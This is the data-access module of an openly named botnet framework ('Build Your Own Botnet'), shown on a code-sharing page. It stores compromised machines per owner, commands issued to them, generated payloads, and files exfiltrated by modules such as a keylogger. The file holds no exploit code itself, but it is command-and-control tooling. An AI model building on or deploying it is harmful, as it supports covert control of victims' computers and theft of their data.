Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/core/dao.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'DAO (Build Your Own Botnet)'
4
5
# standard library
6
import os
7
import json
8
import math
9
import hashlib
10
import collections
11
from datetime import datetime
12
13
from flask import current_app
14
from flask_login import login_user, logout_user, current_user, login_required
15
from buildyourownbotnet.models import db, User, Session, Task, Payload, ExfiltratedFile
16
from buildyourownbotnet.modules import util
17
18
19
class UserDAO:
20
def __init__(self, model):
21
self.model = model
22
23
def get_user(self, user_id=None, username=None):
24
"""
25
Get user data from database.
26
27
`Required`
28
:param int user_id: User ID
29
OR
30
:param str username: Username
31
"""
32
user = None
33
if user_id:
34
user = db.session.query(self.model).get(user_id)
35
elif username:
36
user = db.session.query(self.model).filter_by(username=username).first()
37
return user
38
39
def add_user(self, username, hashed_password):
40
"""
41
Add user to database.
42
43
`Required`
44
:param str username: username
45
:param str hashed_password: bcrypt hashed password
46
"""
47
user = User(username=username, password=hashed_password)
48
db.session.add(user)
49
db.session.commit()
50
return user
51
52
53
class SessionDAO:
54
def __init__(self, model, user_dao):
55
self.model = model
56
self.user_dao = user_dao
57
58
def get_session(self, session_uid):
59
"""Get session metadata from database."""
60
return db.session.query(self.model).filter_by(uid=session_uid).first()
61
62
def get_user_sessions(self, user_id, verbose=False):
63
"""
64
Fetch sessions from database
65
66
`Required`
67
:param int user_id: User ID
68
69
`Optional`
70
:param bool verbose: include full session information
71
72
Returns list of sessions for the specified user.
73
"""
74
user = self.user_dao.get_user(user_id=user_id)
75
if user:
76
return user.sessions
77
return []
78
79
def get_user_sessions_new(self, user_id):
80
"""
81
Get new sessions and update 'new' to False.
82
83
`Required`
84
:param int user_id: User ID
85
"""
86
user = self.user_dao.get_user(user_id=user_id)
87
new_sessions = []
88
if user:
89
sessions = user.sessions
90
for s in sessions:
91
if s.new:
92
s.new = False
93
new_sessions.append(s)
94
db.session.commit()
95
return new_sessions
96
97
def handle_session(self, session_dict):
98
"""
99
Handle a new/current client by adding/updating database
100
101
`Required`
102
:param dict session_dict: session host machine session_dictrmation
103
104
Returns the session information as a dictionary.
105
"""
106
# assign new session UID
107
if not session_dict.get('uid'):
108
# use unique hash of session characteristics to identify machine if possible
109
identity = str(session_dict['public_ip'] + session_dict['mac_address'] + session_dict['owner']).encode()
110
session_dict['uid'] = hashlib.md5(identity).hexdigest()
111
session_dict['joined'] = datetime.utcnow()
112
113
# upddate session status to online
114
session_dict['online'] = True
115
session_dict['last_online'] = datetime.utcnow()
116
117
# check if session metadata already exists in database
118
session = self.get_session(session_dict['uid'])
119
120
# if session for this machine not found, assign this machine to the listed owner
121
if not session:
122
user = self.user_dao.get_user(username=session_dict['owner'])
123
if user:
124
sessions = user.sessions
125
126
# increment session id if necessary (TODO: db autoincrement?)
127
if sessions:
128
session_dict['id'] = 1 + max([s.id for s in sessions])
129
else:
130
session_dict['id'] = 1
131
132
# convert str dates to datetime objects if necessary (should never happen but just in case)
133
if not isinstance(session_dict['joined'], datetime):
134
session_dict['joined'] = datetime.utcnow()
135
if not isinstance(session_dict['last_online'], datetime):
136
session_dict['last_online'] = datetime.utcnow()
137
138
session = Session(**session_dict)
139
db.session.add(session)
140
user.bots += 1
141
db.session.commit()
142
143
else:
144
# if user doesn't exist don't add anything
145
util.log("User not found: " + session_dict['owner'])
146
else:
147
# if session metadata found, set session status to online
148
session.online = True
149
session.last_online = datetime.utcnow()
150
db.session.commit()
151
152
if session:
153
session.new = True
154
session_dict['id'] = session.id
155
db.session.commit()
156
157
return session_dict
158
159
def update_session_status(self, session_uid, status):
160
"""
161
Update online/offline status of the specified session.
162
163
`Required`
164
:param int session_id: Session UID
165
:param bool status: True (online), False (offline)
166
"""
167
session = db.session.query(self.model).filter_by(uid=session_uid).first()
168
if session:
169
session.online = bool(status)
170
db.session.commit()
171
172
def delete_session(self, session_uid):
173
"""
174
Delete a session from the database.
175
176
`Required`
177
:param int session_id: Session UID
178
"""
179
session = db.session.query(self.model).filter_by(uid=session_uid)
180
if session:
181
session.delete()
182
db.session.commit()
183
184
185
class TaskDAO:
186
def __init__(self, model, session_dao):
187
self.model = model
188
self.session_dao = session_dao
189
190
def get_task(self, task_uid):
191
"""Get task metadata from database."""
192
return db.session.query(self.model).filter_by(uid=task_uid).first()
193
194
def get_session_tasks(self, session_uid):
195
"""
196
Fetch tasks from databse for specified session.
197
198
`Optional`
199
:param int session_id: Session ID
200
"""
201
session = session_dao.get_session(session_uid)
202
if session:
203
return session.tasks
204
return []
205
206
def get_session_tasks_paginated(self, session_id, page=1):
207
"""
208
Fetch tasks from database for specified session (paginated).
209
210
`Optional`
211
:param int session_id: Session ID
212
213
Returns list of tasks for the specified session, and total pages of tasks.
214
"""
215
session = db.session.query(self.model).filter_by(id=session_id).first()
216
if session:
217
tasks = session.tasks
218
# janky manual pagination
219
pages = int(math.ceil(float(len(tasks))/20.0))
220
blocks = [i for i in range(0, len(tasks), 20)]
221
if (page - 1 >= 0) and (page + 1 <= len(blocks)):
222
start, end = blocks[page - 1:page + 1]
223
if (start >= 0) and (end <= len(tasks)):
224
return tasks[start:end], pages
225
return [], 0
226
227
def handle_task(self, task_dict):
228
"""
229
Adds issued tasks to the database and updates completed tasks with results
230
231
`Task`
232
:attr str session: associated session UID
233
:attr str task: task assigned by server
234
:attr str uid: task ID assigned by server
235
:attr str result: task result completed by client
236
:attr datetime issued: time task was issued by server
237
:attr datetime completed: time task was completed by client
238
239
Returns task information as a dictionary.
240
241
"""
242
if not isinstance(task_dict, dict):
243
task_dict = {'result': 'Error: client returned invalid response: "{}"'.format(str(task_dict))}
244
return task_dict
245
if not task_dict.get('uid'):
246
identity = str(str(task_dict.get('session')) + str(task_dict.get('task')) + datetime.utcnow().__str__()).encode()
247
task_dict['uid'] = hashlib.md5(identity).hexdigest()
248
task_dict['issued'] = datetime.utcnow()
249
task = Task(**task_dict)
250
db.session.add(task)
251
# encode datetime object as string so it will be JSON serializable
252
task_dict['issued'] = task_dict.get('issued').__str__()
253
else:
254
task = self.get_task(task_dict.get('uid'))
255
if task:
256
task.result = task_dict.get('result')
257
task.completed = datetime.utcnow()
258
db.session.commit()
259
return task_dict
260
261
262
class FileDAO:
263
def __init__(self, model, user_dao):
264
self.model = model
265
self.user_dao = user_dao
266
267
def add_user_file(self, owner, filename, session, module):
268
"""
269
Add newly exfiltrated file to database.
270
271
`Required`
272
:param int user_id: user ID
273
:param str filename: filename
274
:param str session: public IP of session
275
:param str module: module name (keylogger, screenshot, upload, etc.)
276
"""
277
user = self.user_dao.get_user(username=owner)
278
if user:
279
exfiltrated_file = ExfiltratedFile(filename=filename,
280
session=session,
281
module=module,
282
owner=user.username)
283
db.session.add(exfiltrated_file)
284
db.session.commit()
285
return exfiltrated_file
286
287
def get_user_files(self, user_id):
288
"""
289
Get a list of files exfiltrated by the user.
290
291
`Required`
292
:param int user_id: user ID
293
"""
294
user = self.user_dao.get_user(user_id=user_id)
295
if user:
296
return user.files
297
return []
298
299
300
class PayloadDAO:
301
def __init__(self, model, user_dao):
302
self.model = model
303
self.user_dao = user_dao
304
305
def get_user_payloads(self, user_id):
306
"""
307
Get a list of the user's payloads.
308
309
`Required`
310
:param int user_id: user ID
311
"""
312
user = self.user_dao.get_user(user_id=user_id)
313
if user:
314
return user.payloads
315
return []
316
317
def add_user_payload(self, user_id, filename, operating_system, architecture):
318
"""
319
Add newly generated user payload to database.
320
321
`Required`
322
:param int user_id: user ID
323
:param str filename: filename
324
:param str operating_system: nix, win, mac
325
:param str architecture: x32, x64, arm64v8/debian, arm32v7/debian, i386/debian
326
"""
327
user = self.user_dao.get_user(user_id=user_id)
328
if user:
329
payload = Payload(filename=filename,
330
operating_system=operating_system,
331
architecture=architecture,
332
owner=user.username)
333
db.session.add(payload)
334
db.session.commit()
335
return payload
336
337
user_dao = UserDAO(User)
338
session_dao = SessionDAO(Session, user_dao)
339
task_dao = TaskDAO(Task, session_dao)
340
payload_dao = PayloadDAO(Payload, user_dao)
341
file_dao = FileDAO(ExfiltratedFile, user_dao)
342
343